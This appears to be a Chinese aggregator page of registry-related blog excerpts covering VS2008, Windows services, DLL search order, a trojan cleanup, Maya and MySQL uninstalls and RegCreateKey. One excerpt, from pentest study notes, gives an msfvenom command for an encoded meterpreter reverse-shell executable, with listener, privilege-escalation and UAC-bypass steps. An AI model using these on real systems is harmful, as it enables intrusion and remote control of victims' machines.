注册表

关于vs2008设计视图假死的原因及解决方案总结

廉价感情. 提交于 2020-02-26 13:59:11
前些天从微软官网(中国)下载了vs2008的90天试用版,安装很顺利。但使用时发现,从源视图向设计视图切换时,界面出现了假死现象,重装后亦无效。我从网上搜索原因,发现很多朋友都有类似的问题,但解决方案各异,原因更是众说纷纭。下面我就我所看到的和我的切身经历,对vs2008设计视图假死的原因及解决方案总结如下。 在这之前先说明下,有些朋友出现此类问题,其实并不是假死,或是源代码的错误,或是内存过低反映缓慢。而我下面要解决的问题都排除了这两种可能。 1、软件本身问题 可能是安装时出现错误或者是软件残缺,导致WebDeveloper组件丢失或未安装。此时选择“视图/设计器”,会出现“未能找到相关组件”的提示。并且你在program目录下找不到 Microsoft Web Designer Tools 文件夹。建议首先查看是否存在此文件夹。 解决方案:重装软件直到webDeveloper安装成功,强烈建议使用Microsoft Visual Studio 2008 Professional 英文版,不要用微软官方的90天试用版! 2、注册表被修改 安装office2003的用户其相关注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F5078F18-C551-11D3-89B9-0000F81FE221}\5.0\0\win32 的 键值是

MSF(六):后渗透

三世轮回 提交于 2020-02-26 07:32:01
后渗透测试 安全牛学习Metasploit Framework笔记 一、已经获得目标系统控制权后扩大战果 (1)提权 (2)信息收集 (3)渗透内网 (4)永久后门 二、基于已有session扩大战果 - msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 - b "\x00" -e x86/shikata_ga_nai -f exe -o 1.exe - use /exploit/mutli/reverse_tcp - set payload windows/meterpreter/reverse_tcp - exploit - 只要目标系统执行1.exe,我们即可获得反弹shell 三、获取system账号权限 (1)提权可以使用getsystem,如果没有该命令 (2)使用load priv,加载包含getsystem的priv插件(priv表示提权) (3)如果getsystem获取不到权限,基本是被UAC限制了 四、绕过UAC限制 (1)基于session获取system - use exploit/windows/local/ask - set session - set filename - set payload windows

注册表手动添加Windows服务

断了今生、忘了曾经 提交于 2020-02-23 07:19:21
方法一:修改注册表 在注册表编辑器,展开分支"HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services",在右侧窗格中显示的就是本机安装的服务项。如果要新建服务,只须点击"编辑→新建→项" ,然后为此项命名,如"test";然后右击该项,选择"新建→字符串值"或"新建→Dword值"即可。添加一个服务项目具体需要添加的键值如下: "DisplayName",字符串值,对应服务名称; "Description",字符串值,对应服务描述; "ImagePath",字符串值,对应该服务程序所在的路径; "ObjectName",字符串值,值为"LocalSystem",表示本地登录; "ErrorControl",Dword值,值为"1"; "Start",Dword值,值为2表示自动运行,值为3表示手动运行,值为4表示禁止; "Type",Dword值,应用程序对应10,其它对应20。 另外,还要在"test"项下新建一个"Enum"项。如果有些必须通过srvany来加载的还必须 添加另外的Parameters子项在该项中提供详细的要加为服务的程序所在的路径。而上面的那个 路径就需要指到srvany所在的路径。 方法二:脚本操作 sc create myserver binpath= c:/windows/Sc/myserver.exe

中木马了(续)

吃可爱长大的小学妹 提交于 2020-02-22 12:19:56
上次说到中木马后把电脑带到公司,让同事帮忙处理了下,回来再没在system32下发现可疑文件夹,还以为从此就一劳永逸了。可是,情况似乎并不是我想象的那么乐观。 今天每次开机后,打开IceSword查看端口状态,总是发现有一个TCP连接连向一个IP,查了下那IP是扬州的(当时我还暗想这是不是跟博客园的cookies有关呢,dudu不是扬州的吗,汗),进程程序名称那显示的是svchost.exe。然后根据进程ID查服务,发现一个服务名字很奇怪,叫esxrwm,服务描述是microsoft .net framework TPM。上网搜索esxrwm,居然搜不到结果,就觉得有点疑惑,在msconfig里试着禁止,但是进程里还是有这个服务,重启电脑后还是有,看启动项发现虽然这个服务前面没有对勾了,但是后面显示的还是正在运行状态,还以为错怪它了,这是受系统保护的呢。后来进services.msc,发现这个服务的路径居然是C:\WINDOWS\system32\svchost.exe -k esxrwm,觉得不对劲,就点禁止,可是马上就又成了自动状态。修改注册表也是修改完之后马上变回原来的样子。于是进安全模式,再禁止这个服务就成功了,然后把注册表里所有关于esxrwm的全部删除,但是有个LEGACY_ESXRWM目录下有两个数值无法删除也无法修改,试了好几次都不行,就放弃了。然后重启电脑

Windows下DLL查找顺序

不想你离开。 提交于 2020-02-21 10:19:10
Windows下DLL查找顺序 作者:Tocy 时间:2014-10-18 一、写作初衷 在Windows下单个DLL可能存在多个不同的版本,若不特别指定DLL的绝对路径或使用其他手段指定,在应用程序加载DLL时可能会查找到错误的版本,进而引出各种莫名其妙的问题。本文主要考虑以下两个方面: a. 参考MSDN,给出Windows下DLL查找顺序 b. 简单使用ProcessMonitor来验证DLL查找顺序 二、DLL查找顺序 (本部分多数内容是参考MSDN上的Dynamic-Link Library Search Order一文,链接如下 http://msdn.microsoft.com/en-us/library/ms682586(v=vs.85).aspx 。多数为翻译,有部分内容修改。本文仅关注桌面应用程序的查找顺序,对于Windows Store apps请参考MSDN原文。) 1. DLL查找路径基础 应用程序可以通过以下方式控制一个DLL的加载路径:使用全路径加载、使用DLL重定向、使用manifest文件。如果上述三种方式均未指定,系统查找DLL的顺序将按照本部分描述的顺序进行。 对于以下两种情况的DLL,系统将不会查找,而是直接加载: a. 对于已经加载到内存中的同名DLL,系统使用已经加载的DLL,并且忽略待加载DLL的路径。(注意对某个进程而言

WPS会更改PPT的注册表

南楼画角 提交于 2020-02-05 17:20:14
现在的公司老板都爱省钱,所以强制推行WPS。这可苦了我们这些office二次开发的程序员 今天在C#调用PPT时遇到了一个异常,内容大致是这样的 System . InvalidCastException was unhandled Message = Unable to cast COM object of type 'Microsoft.Office.Interop.PowerPoint.ApplicationClass' to interface type 'Microsoft.Office.Interop.PowerPoint._Application' . This operation failed because the QueryInterface call on the COM component for the interface with IID '{91493442-5A91-11CF-8700-00AA0060263B}' failed due to the following error : Error loading type library / DLL . ( Exception from HRESULT : 0x80029C4A ( TYPE_E_CANTLOADLIBRARY ) ) . Source = Microsoft . Office .

maya 2020安装失败,怎么完全彻底卸载删除清理干净maya 2020各种残留注册表和文件?【转载】

点点圈 提交于 2020-02-04 02:28:58
maya 2020卸载工具,完全彻底删除干净maya 2020各种残留注册表和文件。maya 2020安装失败,怎么完全彻底删除清理干净maya 2020各种残留注册表和文件呢?有些同学想把maya 2020重新安装,但是maya 2020安装失败显示失败,有时maya 2020安装到一半就显示失败,然后会问maya 2020无法重装是怎么回事。那么maya 2020安装失败的原因是什么呢?如何才能把maya 2020卸载干净呢?有人说只要把maya 2020注册表7d2f删除就可以了,但是有的同学找到了maya 2020注册表7d2f也删除了,但是maya 2020再次安装失败。还有的同学直接重装系统,但是重装系统后maya 2020仍然无法安装。还有的同学直接把maya 2020的程序文件删除,重装maya 2020的时候会显示已安装。那么maya 2020卸载不干净无法重装的原因到底是什么呢?答案可能不是唯一! maya 2020提示安装未完成,某些产品无法安装该怎样解决呢?一些朋友在win 7或者win 10系统下安装maya 2020失败提示maya 2020安装未完成,某些产品无法安装;也有时候想重新安装maya 2020的时候会出现本电脑windows系统已安装maya 2020,你要是不留意直接安装maya 2020,只会安装maya

Spring Cloud源码解析一:Eureka源码解析(F版)

左心房为你撑大大i 提交于 2020-02-03 08:31:58
介绍 Eureka架构如下图 在Eureka的服务治理中,涉及到如下几个概念 服务提供者 register(服务注册):eureka client 向eureka server注册,提供自身的元数据,如ip地址,端口 renew(服务续约):eureka client 每隔30s向eureka server发送一次心跳来续约,如果eureka server在90s没有收到eureka client的续约,它会将实例从注册表中删除 cacel(服务下线):eureka client 向eureka server发送下线请求,eureka server会将实例从注册表中删除 相关设置参数如下 eureka : instance : lease-renewal-interval-in-seconds : 30 # 设置心跳的时间间隔(默认是30秒) lease-expiration-duration-in-seconds : 90 # 如果超过了90秒,就认为服务挂了 服务消费者 get registry(获取服务):发送rest请求到注册中心,来获取上面的注册表。为了性能考虑,eureka server会维护一份只读的服务清单来返回给客户端,该缓存清单每隔30s更新一次。 服务调用:服务消费者在获取到服务清单后,根据清单中的信息进行远程调用

完全卸载MySQL重新安装MySQL

…衆ロ難τιáo~ 提交于 2020-01-30 20:02:50
在“运行(win+R)”里键入regedit进入注册表, 输入之后回车(Enter)确认。 确认之后进去注册表界面 1.HEKY_LOCAL_MACHINE\SOFTWARE\MYSQL目录删除 2.HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Eventlog\Application\MySQL 目录删除 3.HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Eventlog\Application\MySQL 目录删除 4. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog \Application\MySQL目录删除注册表中的ControlSet001,ControlSet002,不一定是001和002,可能是 ControlSet00 5、006之类,删除的时候,都删除就可以 6、删除C:\Documents and Settings\All Users\Application Data\下的MySQL文件夹 或者删除 C:\ProgramData\MySQL下的内容 7 最后卸载MySQL。 删除MySQL安装路径下的文件夹; 8 再到注册表中,用F3查找"MYSQL"关键字

RegCreateKey

瘦欲@ 提交于 2020-01-30 03:00:41
1 说明 创建或打开注册表项。默认为创建,当注册表中有此项时。为打开。 PS:可以简单理解为一个“粘合”,即,把参一(注册表项)与参二(代表注册表子项的字符串常量)粘合起来, 返回给参三(新的注册表句柄) 2 函数声明 VB声明 VC声明 Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" ( ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long ) As Long LONG WINAPI RegCreateKey( _In_ HKEY hKey, _In_opt_ LPCTSTR lpSubKey, _Out_ PHKEY phkResult ); 3 返回值 [Long] 0(ERROR_SUCCESS)表示成功。其他任何值都代表一个错误代码. 4 参数表 VB 版参数类型及说明: hKey Long,要打开项的句柄,或者一个标准项名 lpSubKey String,欲创建的新子项。可同时创建多个项,只需用 反斜杠 将它们分隔开即可。例如 level1\level2\ newkey phkResult Long,指定一个 变量 ,用于装载新子项的句柄 VC 版参数类型说明: hKey 指向当前打开表项的句柄